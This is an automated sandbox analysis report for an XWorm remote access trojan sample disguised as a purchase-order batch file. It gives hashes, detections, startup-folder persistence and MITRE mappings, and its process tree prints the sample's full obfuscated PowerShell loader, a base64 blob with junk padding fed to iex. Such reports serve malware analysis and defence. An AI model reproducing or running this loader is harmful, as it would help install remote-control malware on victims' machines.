xworm | ff6ee4d16712bd542ca2860a4bfe3b9ca7dd88f70d54215e069ffc3ec2cb7ea6

Analysis

max time kernel
101s
max time network
146s
platform
windows11-21h2_x64
resource
win11-20250619-en
resource tags

arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
submitted
15/08/2025, 02:20

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General

Target
(PO# BE-2025-0710).bat
Size 195KB
Sample250815-csswfssxcx
SHA256 ff6ee4d16712bd542ca2860a4bfe3b9ca7dd88f70d54215e069ffc3ec2cb7ea6
MD5 1d0ba955ebb479887b48ff9cdfeec918
SHA1 10c78c3e0011401510c27d94a9de3c2719f0bf01
SHA512 b837dd17279fdfde80a56f5c2f9693cbf4b3acf992b1c93812fd0892f290f81210aa6a775478b35c371976afe632bff1e102137973debd99b61756ad3f66f38e
SSDEEP 6144:W2pMCDP3I0HWuWj3Q3Yf2MZYddWXHhIYhiAZqvEveIzyWFmY:W2pnj3I0HXWj3oeYaX5iDvXcFmY
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution rat trojan

Malware Config

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/5684-19-0x000002A55DB40000-0x000002A55DB5A000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	5684	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bc87.bat	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bc87.bat	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5684	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5684	powershell.exe
5684	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5684	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3928 wrote to memory of 5344	3928	cmd.exe	79
PID 3928 wrote to memory of 5344	3928	cmd.exe	79
PID 5344 wrote to memory of 248	5344	cmd.exe	80
PID 5344 wrote to memory of 248	5344	cmd.exe	80
PID 248 wrote to memory of 5684	248	cmd.exe	82
PID 248 wrote to memory of 5684	248	cmd.exe	82

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\(PO# BE-2025-0710).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3928
- C:\Windows\system32\cmd.exe
  cmd /c start "" /min "C:\Users\Admin\AppData\Local\Temp\(PO# BE-2025-0710).bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\(PO# BE-2025-0710).bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:248
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -w h -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('CgAkAGEAawBmAHMdggapAPQAkAGUAbgB2ADdggapoAVQBTAEUAUgBOAdggapEEATQBFAAoAJABpdggapAHAAbwBrAD0AIgBdggapDADoAXABVAHMAZQdggapByAHMAXAAkAGEAadggapwBmAHMAXABhAG8AdggapYwAuAGIAYQB0ACIdggapACgAKAGkAZgAoAFdggapQAZQBzAHQALQBQAdggapGEAdABoACAAJABpdggapAHAAbwBrACkAewAdggapKAAoAIAAgACAAIAdggapAkAHAAbgBqAHQAPdggapQBbAFMAeQBzAHQAdggapZQBtAC4ASQBPAC4dggapARgBpAGwAZQBdADdggapoAOgBSAGUAYQBkAdggapEEAbABsAEwAaQBudggapAGUAcwAoACQAaQBdggapwAG8AawAsAFsAUwdggapB5AHMAdABlAG0ALdggapgBUAGUAeAB0AC4AdggapRQBuAGMAbwBkAGkdggapAbgBnAF0AOgA6AFdggapUAVABGADgAKQAKAdggapCAAIAAgACAAZgBvdggapAHIAZQBhAGMAaAAdggapoACQAZwBxAHkAZgdggapAgAGkAbgAgACQAcdggapABuAGoAdAApAHsAdggapCgAgACAAIAAgACAdggapAIAAgACAAaQBmACdggapgAJABnAHEAeQBmAdggapC0AbQBhAHQAYwBodggapACcAXgA6ADoAOgAdggapgAD8AKAAuACsAKQdggapAkACcAKQB7AAoAIdggapAAgACAAIAAgACAAdggapIAAgACAAIAAKACAdggapAIAAgACAAIAAgACdggapAAIAAgACAAIAAgAdggapHQAcgB5AHsACgAgdggapACAAIAAgACAAIAAdggapgACAAIAAgACAAIAdggapAgACAAIAAgACQAZdggapgByAGgAbQA9AFsAdggapUwB5AHMAdABlAG0dggapALgBDAG8AbgB2AGdggapUAcgB0AF0AOgA6AdggapEYAcgBvAG0AQgBhdggapAHMAZQA2ADQAUwBdggap0AHIAaQBuAGcAKAdggapAkAG0AYQB0AGMAadggapABlAHMAWwAxAF0AdggapLgBUAHIAaQBtACgdggapAKQApAAoAIAAgACdggapAAIAAgACAAIAAgAdggapCAAIAAgACAAIAAgdggapACAAIAAkAHoAeQBdggappAG8APQBbAFMAeQdggapBzAHQAZQBtAC4AVdggapABlAHgAdAAuAEUAdggapbgBjAG8AZABpAG4dggapAZwBdADoAOgBVAGdggap4AaQBjAG8AZABlAdggapC4ARwBlAHQAUwB0dggapAHIAaQBuAGcAKAAdggapkAGYAcgBoAG0AKQdggapAKACAAIAAgACAAIdggapAAgACAAIAAgACAAdggapIAAgACAAIAAgACAdggapAaQBlAHgAIAAkAHdggapoAeQBpAG8ACgAgAdggapCAAIAAgACAAIAAgdggapACAAIAAgACAACgAdggapgACAAIAAgACAAIAdggapAgACAAIAAgACAAIdggapAAgACAAIAAgAGIAdggapcgBlAGEAawAKACAdggapAIAAgACAAIAAgACdggapAAIAAgACAAIAAgAdggapH0AYwBhAHQAYwBodggapAHsAfQAKACAAIAAdggapgACAAIAAgACAAIAdggapB9AAoAIAAgACAAIdggapAB9AAoAfQAKACQAdggapdwBkAHoAYwBpAHodggapAeQA9AEAAJwAKACdggapQAdQBxAGwAcQBwAdggapCAAPQAgACQAZQBudggapAHYAOgBVAFMARQBdggapSAE4AQQBNAEUAOwdggapAkAGwAcwB2AHcAcdggapQAgAD0AIAAiAEMAdggapOgBcAFUAcwBlAHIdggapAcwBcACQAdQBxAGdggapwAcQBwAFwAYQBvAdggapGMALgBiAGEAdAAidggapADsAZgB1AG4AYwBdggap0AGkAbwBuACAAYgdggapBuAGcAZQAoACQAcdggapABhAHIAYQBtAF8AdggapdgBhAHIAKQB7ACAdggapAIAAgACAAJABhAGdggapUAcwBfAHYAYQByAdggapD0AWwBTAHkAcwB0dggapAGUAbQAuAFMAZQBdggapjAHUAcgBpAHQAeQdggapAuAEMAcgB5AHAAddggapABvAGcAcgBhAHAAdggapaAB5AC4AQQBlAHMdggapAXQA6ADoAQwByAGdggapUAYQB0AGUAKAApAdggapDsAIAAgACAAIAAkdggapAGEAZQBzAF8AdgBdggaphAHIALgBNAG8AZAdggapBlAD0AWwBTAHkAcdggapwB0AGUAbQAuAFMAdggapZQBjAHUAcgBpAHQdggapAeQAuAEMAcgB5AHdggapAAdABvAGcAcgBhAdggapHAAaAB5AC4AQwBpdggapAHAAaABlAHIATQBdggapvAGQAZQBdADoAOgdggapBDAEIAQwA7ACAAIdggapAAgACAAJABhAGUAdggapcwBfAHYAYQByAC4dggapAUABhAGQAZABpAGdggap4AZwA9AFsAUwB5AdggapHMAdABlAG0ALgBTdggapAGUAYwB1AHIAaQBdggap0AHkALgBDAHIAeQdggapBwAHQAbwBnAHIAYdggapQBwAGgAeQAuAFAAdggapYQBkAGQAaQBuAGcdggapATQBvAGQAZQBdADdggapoAOgBQAEsAQwBTAdggapDcAOwAgACAAIAAgdggapACQAYQBlAHMAXwBdggap2AGEAcgAuAEsAZQdggapB5AD0AWwBTAHkAcdggapwB0AGUAbQAuAEMAdggapbwBuAHYAZQByAHQdggapAXQA6ADoARgByAGdggap8AbQBCAGEAcwBlAdggapDYANABTAHQAcgBpdggapAG4AZwAoACcAMABdggapzAG4ASgB0ADcAeAdggapAzAEQAMQBhAEYAbdggapQBxADkAbQBKAHoAdggapQQAxAEYANABpAFMdggapAeQBxAFEAcQBDAEdggapkAZgB5AEYAcgBGAdggapEYAUQBlAGUATwA4dggapAHAATQA9ACcAKQAdggap7ACAAIAAgACAAJAdggapBhAGUAcwBfAHYAYdggapQByAC4ASQBWAD0AdggapWwBTAHkAcwB0AGUdggapAbQAuAEMAbwBuAHdggapYAZQByAHQAXQA6AdggapDoARgByAG8AbQBCdggapAGEAcwBlADYANABdggapTAHQAcgBpAG4AZwdggapAoACcAUAB5AEoAOdggapAAyAFoAUQBGAEEAdggapNQBjAGUATwBuAEkdggapAOABNAHYATwBtAFdggapgAUQA9AD0AJwApAdggapDsAIAAgACAAIAAkdggapAGQAZQBjAHIAeQBdggapwAHQAbwByAF8AdgdggapBhAHIAPQAkAGEAZdggapQBzAF8AdgBhAHIAdggapLgBDAHIAZQBhAHQdggapAZQBEAGUAYwByAHdggapkAcAB0AG8AcgAoAdggapCkAOwAgACAAIAAgdggapACQAcgBlAHQAdQBdggapyAG4AXwB2AGEAcgdggapA9ACQAZABlAGMAcdggapgB5AHAAdABvAHIAdggapXwB2AGEAcgAuAFQdggapAcgBhAG4AcwBmAGdggap8AcgBtAEYAaQBuAdggapGEAbABCAGwAbwBjdggapAGsAKAAkAHAAYQBdggapyAGEAbQBfAHYAYQdggapByACwAIAAwACwAIdggapAAkAHAAYQByAGEAdggapbQBfAHYAYQByAC4dggapATABlAG4AZwB0AGdggapgAKQA7ACAAIAAgAdggapCAAJABkAGUAYwBydggapAHkAcAB0AG8AcgBdggapfAHYAYQByAC4ARAdggapBpAHMAcABvAHMAZdggapQAoACkAOwAgACAAdggapIAAgACQAYQBlAHMdggapAXwB2AGEAcgAuAEdggapQAaQBzAHAAbwBzAdggapGUAKAApADsAIAAgdggapACAAIAAkAHIAZQBdggap0AHUAcgBuAF8AdgdggapBhAHIAOwB9AGYAddggapQBuAGMAdABpAG8AdggapbgAgAGIAbABqAGodggapAeAAoACQAcABhAHdggapIAYQBtAF8AdgBhAdggapHIAKQB7ACAAIAAgdggapACAAJAB4AGIAcgBdggapkAGwAPQBOAGUAdwdggapAtAE8AYgBqAGUAYdggapwB0ACAAUwB5AHMAdggapdABlAG0ALgBJAE8dggapALgBNAGUAbQBvAHdggapIAeQBTAHQAcgBlAdggapGEAbQAoACwAJABwdggapAGEAcgBhAG0AXwBdggap2AGEAcgApADsAIAdggapAgACAAIAAkAHIAYdggapwBqAGUAdAA9AE4AdggapZQB3AC0ATwBiAGodggapAZQBjAHQAIABTAHdggapkAcwB0AGUAbQAuAdggapEkATwAuAE0AZQBtdggapAG8AcgB5AFMAdABdggapyAGUAYQBtADsAIAdggapAgACAAIAAkAHMAcdggapQBkAGUAcwA9AE4AdggapZQB3AC0ATwBiAGodggapAZQBjAHQAIABTAHdggapkAcwB0AGUAbQAuAdggapEkATwAuAEMAbwBtdggapAHAAcgBlAHMAcwBdggappAG8AbgAuAEcAWgdggapBpAHAAUwB0AHIAZdggapQBhAG0AKAAkAHgAdggapYgByAGQAbAAsACAdggapAWwBJAE8ALgBDAGdggap8AbQBwAHIAZQBzAdggapHMAaQBvAG4ALgBDdggapAG8AbQBwAHIAZQBdggapzAHMAaQBvAG4ATQdggapBvAGQAZQBdADoAOdggapgBEAGUAYwBvAG0AdggapcAByAGUAcwBzACkdggapAOwAgACAAIAAgACdggapQAcwBxAGQAZQBzAdggapC4AQwBvAHAAeQBUdggapAG8AKAAkAHIAYwBdggapqAGUAdAApADsAIAdggapAgACAAIAAkAHMAcdggapQBkAGUAcwAuAEQAdggapaQBzAHAAbwBzAGUdggapAKAApADsAIAAgACdggapAAIAAkAHgAYgByAdggapGQAbAAuAEQAaQBzdggapAHAAbwBzAGUAKAAdggappADsAIAAgACAAIAdggapAkAHIAYwBqAGUAddggapAAuAEQAaQBzAHAAdggapbwBzAGUAKAApADsdggapAIAAgACAAIAAkAHdggapIAYwBqAGUAdAAuAdggapFQAbwBBAHIAcgBhdggapAHkAKAApADsAfQBdggapmAHUAbgBjAHQAaQdggapBvAG4AIAB2AGIAZdggapgBwACgAJABwAGEAdggapcgBhAG0AXwB2AGEdggapAcgAsACQAcABhAHdggapIAYQBtADIAXwB2AdggapGEAcgApAHsAIAAgdggapACAAIAAkAGkAeQBdggapsAGgAYgA9AFsAUwdggapB5AHMAdABlAG0ALdggapgBSAGUAZgBsAGUAdggapYwB0AGkAbwBuAC4dggapAQQBzAHMAZQBtAGdggapIAbAB5AF0AOgA6AdggapEwAbwBhAGQAKABbdggapAGIAeQB0AGUAWwBdggapdAF0AJABwAGEAcgdggapBhAG0AXwB2AGEAcdggapgApADsAIAAgACAAdggapIAAkAHkAegBzAHodggapAeAA9ACQAaQB5AGdggapwAaABiAC4ARQBuAdggapHQAcgB5AFAAbwBpdggapAG4AdAA7ACAAIAAdggapgACAAJAB5AHoAcwdggapB6AHgALgBJAG4AddggapgBvAGsAZQAoACQAdggapbgB1AGwAbAAsACAdggapAJABwAGEAcgBhAGdggap0AMgBfAHYAYQByAdggapCkAOwB9ACQAaABvdggapAHMAdAAuAFUASQAdggapuAFIAYQB3AFUASQdggapAuAFcAaQBuAGQAbdggapwB3AFQAaQB0AGwAdggapZQAgAD0AIAAkAGwdggapAcwB2AHcAcQA7ACdggapQAbgBwAHAAaABvAdggapD0AWwBTAHkAcwB0dggapAGUAbQAuAEkATwAdggapuAEYAaQBsAGUAXQdggapA6ADoAUgBlAGEAZdggapABBAGwAbABUAGUAdggapeAB0ACgAJABsAHMdggapAdgB3AHEAKQAuAFdggapMAcABsAGkAdAAoAdggapFsARQBuAHYAaQBydggapAG8AbgBtAGUAbgBdggap0AF0AOgA6AE4AZQdggapB3AEwAaQBuAGUAKdggapQA7AGYAbwByAGUAdggapYQBjAGgAIAAoACQdggapAagBuAHYAdQBlACdggapAAaQBuACAAJABuAdggapHAAcABoAG8AKQAgdggapAHsAIAAgACAAIABdggappAGYAIAAoACQAagdggapBuAHYAdQBlAC4AUdggapwB0AGEAcgB0AHMAdggapVwBpAHQAaAAoACcdggapAOgA6ACAAJwApACdggapkAIAAgACAAIAB7AdggapCAAIAAgACAAIAAgdggapACAAIAAkAGQAcwBdggappAG4AeAA9ACQAagdggapBuAHYAdQBlAC4AUdggapwB1AGIAcwB0AHIAdggapaQBuAGcAKAAzACkdggapAOwAgACAAIAAgACdggapAAIAAgACAAYgByAdggapGUAYQBrADsAIAAgdggapACAAIAB9AH0AJABdggapqAGIAeQB1AD0AWwdggapBzAHQAcgBpAG4AZdggapwBbAF0AXQAkAGQAdggapcwBpAG4AeAAuAFMdggapAcABsAGkAdAAoACdggapcAXAAnACkAOwAkAdggapG0AawBsAGsAawA9dggapAGIAbABqAGoAeAAdggapgACgAYgBuAGcAZQdggapAgACgAWwBDAG8AbdggapgB2AGUAcgB0AF0AdggapOgA6AEYAcgBvAG0dggapAQgBhAHMAZQA2ADdggapQAUwB0AHIAaQBuAdggapGcAKAAkAGoAYgB5dggapAHUAWwAwAF0AKQAdggappACkAOwAkAGIAcQdggapBoAHAAPQBiAGwAadggapgBqAHgAIAAoAGIAdggapbgBnAGUAIAAoAFsdggapAQwBvAG4AdgBlAHdggapIAdABdADoAOgBGAdggapHIAbwBtAEIAYQBzdggapAGUANgA0AFMAdABdggapyAGkAbgBnACgAJAdggapBqAGIAeQB1AFsAMdggapQBdACkAKQApADsAdggapdgBiAGYAcAAgACQdggapAbQBrAGwAawBrACdggapAAJABuAHUAbABsAdggapDsAdgBiAGYAcAAgdggapACQAYgBxAGgAcAAdggapgACgALABbAHMAdAdggapByAGkAbgBnAFsAXdggapQBdACAAKAAnACUAdggapKgAnACkAKQA7AAodggapAJwBAAAoAaQBlAHdggapgAIAAkAHcAZAB6AdggapGMAaQB6AHkACgA='.Replace('dggap','')))))""
      4⤵
      Blocklisted process makes network request
      Drops startup file
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5684

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_jzgixrgr.ovd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jzgixrgr.ovd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

aoc.bat

Path C:\Users\Admin\aoc.bat
Size 195KB
SHA256 ff6ee4d16712bd542ca2860a4bfe3b9ca7dd88f70d54215e069ffc3ec2cb7ea6
MD5 1d0ba955ebb479887b48ff9cdfeec918
SHA1 10c78c3e0011401510c27d94a9de3c2719f0bf01
SHA512 b837dd17279fdfde80a56f5c2f9693cbf4b3acf992b1c93812fd0892f290f81210aa6a775478b35c371976afe632bff1e102137973debd99b61756ad3f66f38e
SSDEEP 6144:W2pMCDP3I0HWuWj3Q3Yf2MZYddWXHhIYhiAZqvEveIzyWFmY:W2pnj3I0HXWj3oeYaX5iDvXcFmY
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/5684-15-0x000002A55DB30000-0x000002A55DB40000-memory.dmp

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memory/5684-9-0x000002A55DA50000-0x000002A55DA72000-memory.dmp

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memory/5684-13-0x000002A55DB30000-0x000002A55DB40000-memory.dmp

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memory/5684-3-0x000002A55DB30000-0x000002A55DB40000-memory.dmp

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memory/5684-2-0x000002A55DB30000-0x000002A55DB40000-memory.dmp

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memory/5684-16-0x000002A55DAE0000-0x000002A55DAE8000-memory.dmp

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memory/5684-17-0x000002A55DAF0000-0x000002A55DB04000-memory.dmp

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memory/5684-19-0x000002A55DB40000-0x000002A55DB5A000-memory.dmp

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memory/5684-20-0x000002A55DB30000-0x000002A55DB40000-memory.dmp

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memory/5684-21-0x000002A55DB30000-0x000002A55DB40000-memory.dmp

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memory/5684-22-0x000002A55DB30000-0x000002A55DB40000-memory.dmp

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memory/5684-23-0x000002A55DB30000-0x000002A55DB40000-memory.dmp

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